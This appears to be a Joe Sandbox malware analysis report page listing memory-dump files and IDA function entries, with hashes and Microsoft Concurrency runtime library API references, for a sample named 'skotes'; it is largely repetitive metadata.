Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: f6a8f3d81d8a8cc12879ee1200884d2f29a5e9861838831e8ced9819f7285f70
Instruction ID: 957d6e02d84024a5512513d696bd0164a78cdfa92d060751d27f40142efd99b7
Opcode Fuzzy Hash: f6a8f3d81d8a8cc12879ee1200884d2f29a5e9861838831e8ced9819f7285f70
Instruction Fuzzy Hash: 7E2195759046449FDF05EFA8D9C2EEDB7F5AF25314B21406DF001AB292EB71AE02CB51

Function 0019A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0019A069

Part of subcall function 0019B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0019B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0019A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0019A0CB

Part of subcall function 0019AB41: List.LIBCONCRT ref: 0019AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0019A0DB

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 14de70587dee58f91a3589fb63f2641281f263eeea1a3678981d3fd241205b9b
Instruction ID: f16843f87e72a7e5758bd4dc947db2d2df58b3245472f9bafc76e3bd844d2d9c
Opcode Fuzzy Hash: 14de70587dee58f91a3589fb63f2641281f263eeea1a3678981d3fd241205b9b
Instruction Fuzzy Hash: 15219A319007149F8B25EF65D9908AEB3F5BF587007404A5EE542A7651DB30A905CBA2

Function 00194885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00194893
ListArray.LIBCONCRT ref: 001948A5

Part of subcall function 00195555: _InternalDeleteHelper.LIBCONCRT ref: 00195564

ListArray.LIBCONCRT ref: 001948AF
_InternalDeleteHelper.LIBCONCRT ref: 001948C8

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: f2d1f3d0690d1034bb58cab0c2f55b20e5a09a3cec057be2ca862f8edb79b5c4
Instruction ID: 564f6d8f137fe7efa083197e9d24e34d87ec128047f7cb997aa391e0faac2b91
Opcode Fuzzy Hash: f2d1f3d0690d1034bb58cab0c2f55b20e5a09a3cec057be2ca862f8edb79b5c4
Instruction Fuzzy Hash: 5B01D671600621AFDF26BBA4D886E6DB76ABF557507010129F90497652DB20EC6287A0

Function 0019EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0019EE6A
ListArray.LIBCONCRT ref: 0019EE7C

Part of subcall function 0019EF29: _InternalDeleteHelper.LIBCONCRT ref: 0019EF3B

ListArray.LIBCONCRT ref: 0019EE86
_InternalDeleteHelper.LIBCONCRT ref: 0019EE9F

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 9c03913ed49fae4fd35f173e34a1f2f33756f6145e4b3efea0e903fe391b40b6
Instruction ID: bfcff34e41f4017ce814ebeca41004719af5c33f6ed046ded8b963dfd9556c2d
Opcode Fuzzy Hash: 9c03913ed49fae4fd35f173e34a1f2f33756f6145e4b3efea0e903fe391b40b6
Instruction Fuzzy Hash: C701A931700621BFCE25FB60D8C6D6EBBA9BF65750705006AF80457652DB20EC619BD0

Function 0019D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0019D0C5
ListArray.LIBCONCRT ref: 0019D0D7

Part of subcall function 0019C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0019C6C4

ListArray.LIBCONCRT ref: 0019D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0019D0FA

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: b6b50d5efb75055128edd4fe689a7165e074fd576d572203c2f0f3a72e9456ca
Instruction ID: 677bed2119d5983dff006bd2cb52b7ede0390a6ba2dd512667f72d948a2583f1
Opcode Fuzzy Hash: b6b50d5efb75055128edd4fe689a7165e074fd576d572203c2f0f3a72e9456ca
Instruction Fuzzy Hash: 6501F932700621BFCE25BB60E8C6D6DB769BF657507040025F84097652DF20EC5187E0

Function 001A33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001A33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 001A33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 001A3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001A341F

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
